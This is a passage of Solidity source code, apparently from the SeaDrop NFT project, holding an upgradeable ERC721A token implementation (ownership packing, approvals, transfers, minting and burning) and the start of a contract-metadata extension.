// Token symbol\n string private _symbol;\n\n // Mapping from token ID to ownership details\n // An empty struct value does not necessarily mean the token is unowned.\n // See {_packedOwnershipOf} implementation for details.\n //\n // Bits Layout:\n // - [0..159] `addr`\n // - [160..223] `startTimestamp`\n // - [224] `burned`\n // - [225] `nextInitialized`\n // - [232..255] `extraData`\n mapping(uint256 => uint256) private _packedOwnerships;\n\n // Mapping owner address to address data.\n //\n // Bits Layout:\n // - [0..63] `balance`\n // - [64..127] `numberMinted`\n // - [128..191] `numberBurned`\n // - [192..255] `aux`\n mapping(address => uint256) private _packedAddressData;\n\n // Mapping from token ID to approved address.\n mapping(uint256 => TokenApprovalRef) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n // =============================================================\n // CONSTRUCTOR\n // =============================================================\n\n function __ERC721ACloneable__init(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n _currentIndex = _startTokenId();\n }\n\n // =============================================================\n // TOKEN COUNTING OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the starting token ID.\n * To change the starting token ID, please override this function.\n */\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n /**\n * @dev Returns the next token ID to be minted.\n */\n function _nextTokenId() internal view virtual returns (uint256) {\n return _currentIndex;\n }\n\n /**\n * @dev Returns the total number of tokens in existence.\n * Burned tokens will reduce the count.\n * To get the total number of tokens minted, please see {_totalMinted}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n // Counter underflow is impossible as _burnCounter cannot be incremented\n // more than `_currentIndex - _startTokenId()` times.\n unchecked {\n return _currentIndex - _burnCounter - _startTokenId();\n }\n }\n\n /**\n * @dev Returns the total amount of tokens minted in the contract.\n */\n function _totalMinted() internal view virtual returns (uint256) {\n // Counter underflow is impossible as `_currentIndex` does not decrement,\n // and it is initialized to `_startTokenId()`.\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n /**\n * @dev Returns the total number of tokens burned.\n */\n function _totalBurned() internal view virtual returns (uint256) {\n return _burnCounter;\n }\n\n // =============================================================\n // ADDRESS DATA OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the number of tokens in `owner`'s account.\n */\n function balanceOf(address owner)\n public\n view\n virtual\n override\n returns (uint256)\n {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the number of tokens minted by `owner`.\n */\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the number of tokens burned by or on behalf of `owner`.\n */\n function _numberBurned(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).\n */\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> _BITPOS_AUX);\n }\n\n /**\n * Sets the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).\n * If there are multiple variables, please pack them into a uint64.\n */\n function _setAux(address owner, uint64 aux) internal virtual {\n uint256 packed = _packedAddressData[owner];\n uint256 auxCasted;\n // Cast `aux` with assembly to avoid redundant masking.\n assembly {\n auxCasted := aux\n }\n packed =\n (packed & _BITMASK_AUX_COMPLEMENT) |\n (auxCasted << _BITPOS_AUX);\n _packedAddressData[owner] = packed;\n }\n\n // =============================================================\n // IERC165\n // =============================================================\n\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30000 gas.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override\n returns (bool)\n {\n // The interface IDs are constants representing the first 4 bytes\n // of the XOR of all function selectors in the interface.\n // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)\n // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)\n return\n interfaceId == 0x01ffc9a7 || // ERC165 interface ID for ERC165.\n interfaceId == 0x80ac58cd || // ERC165 interface ID for ERC721.\n interfaceId == 0x5b5e139f; // ERC165 interface ID for ERC721Metadata.\n }\n\n // =============================================================\n // IERC721Metadata\n // =============================================================\n\n /**\n * @dev Returns the token collection name.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, _toString(tokenId)))\n : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, it can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n // =============================================================\n // OWNERSHIPS OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId)\n public\n view\n virtual\n override\n returns (address)\n {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n /**\n * @dev Gas spent here starts off proportional to the maximum mint batch size.\n * It gradually moves to O(1) as tokens get transferred around over time.\n */\n function _ownershipOf(uint256 tokenId)\n internal\n view\n virtual\n returns (TokenOwnership memory)\n {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n /**\n * @dev Returns the unpacked `TokenOwnership` struct at `index`.\n */\n function _ownershipAt(uint256 index)\n internal\n view\n virtual\n returns (TokenOwnership memory)\n {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n /**\n * @dev Initializes the ownership slot minted at `index` for efficiency purposes.\n */\n function _initializeOwnershipAt(uint256 index) internal virtual {\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n /**\n * Returns the packed ownership data of `tokenId`.\n */\n function _packedOwnershipOf(uint256 tokenId)\n private\n view\n returns (uint256)\n {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr) {\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n // If not burned.\n if (packed & _BITMASK_BURNED == 0) {\n // Invariant:\n // There will always be an initialized ownership slot\n // (i.e. `ownership.addr != address(0) && ownership.burned == false`)\n // before an unintialized ownership slot\n // (i.e. `ownership.addr == address(0) && ownership.burned == false`)\n // Hence, `curr` will not underflow.\n //\n // We can directly compare the packed value.\n // If the address is zero, packed will be zero.\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n /**\n * @dev Returns the unpacked `TokenOwnership` struct from `packed`.\n */\n function _unpackedOwnership(uint256 packed)\n private\n pure\n returns (TokenOwnership memory ownership)\n {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);\n ownership.burned = packed & _BITMASK_BURNED != 0;\n ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);\n }\n\n /**\n * @dev Packs ownership data into a single uint256.\n */\n function _packOwnershipData(address owner, uint256 flags)\n private\n view\n returns (uint256 result)\n {\n assembly {\n // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.\n owner := and(owner, _BITMASK_ADDRESS)\n // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`.\n result := or(\n owner,\n or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags)\n )\n }\n }\n\n /**\n * @dev Returns the `nextInitialized` flag set if `quantity` equals 1.\n */\n function _nextInitializedFlag(uint256 quantity)\n private\n pure\n returns (uint256 result)\n {\n // For branchless setting of the `nextInitialized` flag.\n assembly {\n // `(quantity == 1) << _BITPOS_NEXT_INITIALIZED`.\n result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))\n }\n }\n\n // =============================================================\n // APPROVAL OPERATIONS\n // =============================================================\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ownerOf(tokenId);\n\n if (_msgSenderERC721A() != owner) {\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n }\n\n _tokenApprovals[tokenId].value = to;\n emit Approval(owner, to, tokenId);\n }\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId)\n public\n view\n virtual\n override\n returns (address)\n {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId].value;\n }\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved)\n public\n virtual\n override\n {\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n override\n returns (bool)\n {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted. See {_mint}.\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return\n _startTokenId() <= tokenId &&\n tokenId < _currentIndex && // If within bounds,\n _packedOwnerships[tokenId] & _BITMASK_BURNED == 0; // and not burned.\n }\n\n /**\n * @dev Returns whether `msgSender` is equal to `approvedAddress` or `owner`.\n */\n function _isSenderApprovedOrOwner(\n address approvedAddress,\n address owner,\n address msgSender\n ) private pure returns (bool result) {\n assembly {\n // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.\n owner := and(owner, _BITMASK_ADDRESS)\n // Mask `msgSender` to the lower 160 bits, in case the upper bits somehow aren't clean.\n msgSender := and(msgSender, _BITMASK_ADDRESS)\n // `msgSender == owner || msgSender == approvedAddress`.\n result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))\n }\n }\n\n /**\n * @dev Returns the storage slot and value for the approved address of `tokenId`.\n */\n function _getApprovedSlotAndAddress(uint256 tokenId)\n private\n view\n returns (uint256 approvedAddressSlot, address approvedAddress)\n {\n TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];\n // The following is equivalent to `approvedAddress = _tokenApprovals[tokenId].value`.\n assembly {\n approvedAddressSlot := tokenApproval.slot\n approvedAddress := sload(approvedAddressSlot)\n }\n }\n\n // =============================================================\n // TRANSFER OPERATIONS\n // =============================================================\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n // The nested ifs save around 20+ gas over a compound boolean condition.\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n ) {\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n // Clear approvals from the previous owner.\n assembly {\n if approvedAddress {\n // This is equivalent to `delete _tokenApprovals[tokenId]`.\n sstore(approvedAddressSlot, 0)\n }\n }\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.\n unchecked {\n // We can directly increment and decrement the balances.\n --_packedAddressData[from]; // Updates: `balance -= 1`.\n ++_packedAddressData[to]; // Updates: `balance += 1`.\n\n // Updates:\n // - `address` to the next owner.\n // - `startTimestamp` to the timestamp of transfering.\n // - `burned` to `false`.\n // - `nextInitialized` to `true`.\n _packedOwnerships[tokenId] = _packOwnershipData(\n to,\n _BITMASK_NEXT_INITIALIZED |\n _nextExtraData(from, to, prevOwnershipPacked)\n );\n\n // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n // If the next slot's address is zero and not burned (i.e. packed value is zero).\n if (_packedOwnerships[nextTokenId] == 0) {\n // If the next slot is within bounds.\n if (nextTokenId != _currentIndex) {\n // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n transferFrom(from, to, tokenId);\n if (to.code.length != 0) {\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n }\n\n /**\n * @dev Hook that is called before a set of serially-ordered token IDs\n * are about to be transferred. This includes minting.\n * And also called before burning one token.\n *\n * `startTokenId` - the first token ID to be transferred.\n * `quantity` - the amount to be transferred.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, `tokenId` will be burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after a set of serially-ordered token IDs\n * have been transferred. This includes minting.\n * And also called after one token has been burned.\n *\n * `startTokenId` - the first token ID to be transferred.\n * `quantity` - the amount to be transferred.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been\n * transferred to `to`.\n * - When `from` is zero, `tokenId` has been minted for `to`.\n * - When `to` is zero, `tokenId` has been burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n /**\n * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target contract.\n *\n * `from` - Previous owner of the given token ID.\n * `to` - Target address that will receive the token.\n * `tokenId` - Token ID to be transferred.\n * `_data` - Optional data to send along with the call.\n *\n * Returns whether the call correctly returned the expected magic value.\n */\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n try\n ERC721A__IERC721Receiver(to).onERC721Received(\n _msgSenderERC721A(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return\n retval ==\n ERC721A__IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n // =============================================================\n // MINT OPERATIONS\n // =============================================================\n\n /**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {Transfer} event for each mint.\n */\n function _mint(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are incredibly unrealistic.\n // `balance` and `numberMinted` have a maximum limit of 2**64.\n // `tokenId` has a maximum limit of 2**256.\n unchecked {\n // Updates:\n // - `balance += quantity`.\n // - `numberMinted += quantity`.\n //\n // We can directly add to the `balance` and `numberMinted`.\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n // Updates:\n // - `address` to the owner.\n // - `startTimestamp` to the timestamp of minting.\n // - `burned` to `false`.\n // - `nextInitialized` to `quantity == 1`.\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n uint256 toMasked;\n uint256 end = startTokenId + quantity;\n\n // Use assembly to loop and emit the `Transfer` event for gas savings.\n // The duplicated `log4` removes an extra check and reduces stack juggling.\n // The assembly, together with the surrounding Solidity code, have been\n // delicately arranged to nudge the compiler into producing optimized opcodes.\n assembly {\n // Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean.\n toMasked := and(to, _BITMASK_ADDRESS)\n // Emit the `Transfer` event.\n log4(\n 0, // Start of data (0, since no data).\n 0, // End of data (0, since no data).\n _TRANSFER_EVENT_SIGNATURE, // Signature.\n 0, // `address(0)`.\n toMasked, // `to`.\n startTokenId // `tokenId`.\n )\n\n // The `iszero(eq(,))` check ensures that large values of `quantity`\n // that overflows uint256 will make the loop run out of gas.\n // The compiler will optimize the `iszero` away for performance.\n for {\n let tokenId := add(startTokenId, 1)\n } iszero(eq(tokenId, end)) {\n tokenId := add(tokenId, 1)\n } {\n // Emit the `Transfer` event. Similar to above.\n log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)\n }\n }\n if (toMasked == 0) revert MintToZeroAddress();\n\n _currentIndex = end;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * This function is intended for efficient minting only during contract creation.\n *\n * It emits only one {ConsecutiveTransfer} as defined in\n * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309),\n * instead of a sequence of {Transfer} event(s).\n *\n * Calling this function outside of contract creation WILL make your contract\n * non-compliant with the ERC721 standard.\n * For full ERC721 compliance, substituting ERC721 {Transfer} event(s) with the ERC2309\n * {ConsecutiveTransfer} event is only permissible during contract creation.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {ConsecutiveTransfer} event.\n */\n function _mintERC2309(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n if (to == address(0)) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT)\n revert MintERC2309QuantityExceedsLimit();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are unrealistic due to the above check for `quantity` to be below the limit.\n unchecked {\n // Updates:\n // - `balance += quantity`.\n // - `numberMinted += quantity`.\n //\n // We can directly add to the `balance` and `numberMinted`.\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n // Updates:\n // - `address` to the owner.\n // - `startTimestamp` to the timestamp of minting.\n // - `burned` to `false`.\n // - `nextInitialized` to `quantity == 1`.\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n emit ConsecutiveTransfer(\n startTokenId,\n startTokenId + quantity - 1,\n address(0),\n to\n );\n\n _currentIndex = startTokenId + quantity;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Safely mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called for each safe transfer.\n * - `quantity` must be greater than 0.\n *\n * See {_mint}.\n *\n * Emits a {Transfer} event for each mint.\n */\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal virtual {\n _mint(to, quantity);\n\n unchecked {\n if (to.code.length != 0) {\n uint256 end = _currentIndex;\n uint256 index = end - quantity;\n do {\n if (\n !_checkContractOnERC721Received(\n address(0),\n to,\n index++,\n _data\n )\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (index < end);\n // Reentrancy protection.\n if (_currentIndex != end) revert();\n }\n }\n }\n\n /**\n * @dev Equivalent to `_safeMint(to, quantity, '')`.\n */\n function _safeMint(address to, uint256 quantity) internal virtual {\n _safeMint(to, quantity, \"\");\n }\n\n // =============================================================\n // BURN OPERATIONS\n // =============================================================\n\n /**\n * @dev Equivalent to `_burn(tokenId, false)`.\n */\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n address from = address(uint160(prevOwnershipPacked));\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n if (approvalCheck) {\n // The nested ifs save around 20+ gas over a compound boolean condition.\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n ) {\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n // Clear approvals from the previous owner.\n assembly {\n if approvedAddress {\n // This is equivalent to `delete _tokenApprovals[tokenId]`.\n sstore(approvedAddressSlot, 0)\n }\n }\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.\n unchecked {\n // Updates:\n // - `balance -= 1`.\n // - `numberBurned += 1`.\n //\n // We can directly decrement the balance, and increment the number burned.\n // This is equivalent to `packed -= 1; packed += 1 << _BITPOS_NUMBER_BURNED;`.\n _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1;\n\n // Updates:\n // - `address` to the last owner.\n // - `startTimestamp` to the timestamp of burning.\n // - `burned` to `true`.\n // - `nextInitialized` to `true`.\n _packedOwnerships[tokenId] = _packOwnershipData(\n from,\n (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) |\n _nextExtraData(from, address(0), prevOwnershipPacked)\n );\n\n // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n // If the next slot's address is zero and not burned (i.e. packed value is zero).\n if (_packedOwnerships[nextTokenId] == 0) {\n // If the next slot is within bounds.\n if (nextTokenId != _currentIndex) {\n // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.\n unchecked {\n _burnCounter++;\n }\n }\n\n // =============================================================\n // EXTRA DATA OPERATIONS\n // =============================================================\n\n /**\n * @dev Directly sets the extra data for the ownership data `index`.\n */\n function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {\n uint256 packed = _packedOwnerships[index];\n if (packed == 0) revert OwnershipNotInitializedForExtraData();\n uint256 extraDataCasted;\n // Cast `extraData` with assembly to avoid redundant masking.\n assembly {\n extraDataCasted := extraData\n }\n packed =\n (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) |\n (extraDataCasted << _BITPOS_EXTRA_DATA);\n _packedOwnerships[index] = packed;\n }\n\n /**\n * @dev Called during each token transfer to set the 24bit `extraData` field.\n * Intended to be overridden by the cosumer contract.\n *\n * `previousExtraData` - the value of `extraData` before transfer.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, `tokenId` will be burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _extraData(\n address from,\n address to,\n uint24 previousExtraData\n ) internal view virtual returns (uint24) {}\n\n /**\n * @dev Returns the next extra data for the packed ownership data.\n * The returned result is shifted into position.\n */\n function _nextExtraData(\n address from,\n address to,\n uint256 prevOwnershipPacked\n ) private view returns (uint256) {\n uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA);\n return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;\n }\n\n // =============================================================\n // OTHER OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the message sender (defaults to `msg.sender`).\n *\n * If you are writing GSN compatible contracts, you need to override this function.\n */\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n /**\n * @dev Converts a uint256 to its ASCII string decimal representation.\n */\n function _toString(uint256 value)\n internal\n pure\n virtual\n returns (string memory str)\n {\n assembly {\n // The maximum value of a uint256 contains 78 digits (1 byte per digit), but\n // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned.\n // We will need 1 word for the trailing zeros padding, 1 word for the length,\n // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0.\n let m := add(mload(0x40), 0xa0)\n // Update the free memory pointer to allocate.\n mstore(0x40, m)\n // Assign the `str` to the end.\n str := sub(m, 0x20)\n // Zeroize the slot after the string.\n mstore(str, 0)\n\n // Cache the end of the memory to calculate the length later.\n let end := str\n\n // We write the string from rightmost digit to leftmost digit.\n // The following is essentially a do-while loop that also handles the zero case.\n // prettier-ignore\n for { let temp := value } 1 {} {\n str := sub(str, 1)\n // Write the character to the pointer.\n // The ASCII index of the '0' character is 48.\n mstore8(str, add(48, mod(temp, 10)))\n // Keep dividing `temp` until zero.\n temp := div(temp, 10)\n // prettier-ignore\n if iszero(temp) { break }\n }\n\n let length := sub(end, str)\n // Move the pointer 32 bytes leftwards to make room for the length.\n str := sub(str, 0x20)\n // Store the length.\n mstore(str, length)\n }\n }\n}\n"
},
"src/clones/ERC721ContractMetadataCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"../interfaces/ISeaDropTokenContractMetadata.sol\";\n\nimport { ERC721ACloneable } from \"./ERC721ACloneable.sol\";\n\nimport { TwoStepOwnable } from \"utility-contracts/TwoStepOwnable.sol\";\n\nimport { IERC2981 } from \"openzeppelin-contracts/interfaces/IERC2981.sol\";\n\nimport {\n IERC165\n} from \"openzeppelin-contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC721ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @notice ERC721ContractMetadata is a token contract that extends ERC721A\n * with additional metadata and ownership capabilities.\n */\ncontract ERC721ContractMetadataCloneable is\n ERC721ACloneable,\n TwoStepOwnable,\n ISeaDropTokenContractMetadata\n{\n /// @notice Track the max supply.\n uint256 _maxSupply;\n\n /// @notice Track the base URI for token metadata.\n string _tokenBaseURI;\n\n /// @notice Track the contract URI for contract metadata.\n string _contractURI;\n\n /// @notice Track the provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 _provenanceHash;\n\n /// @notice Track the royalty info: address to receive royalties, and\n /// royalty basis points.\n RoyaltyInfo _royaltyInfo;\n\n /**\n * @dev Reverts if the sender is not the owner or the contract itself.\n * This function is inlined instead of being a modifier\n * to save contract space from being inlined N times.\n */\n function _onlyOwnerOrSelf() internal view {\n if (\n _cast(msg.sender == owner()) | _cast(msg.sender == address(this)) ==\n 0\n ) {\n revert OnlyOwner();\n }\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n 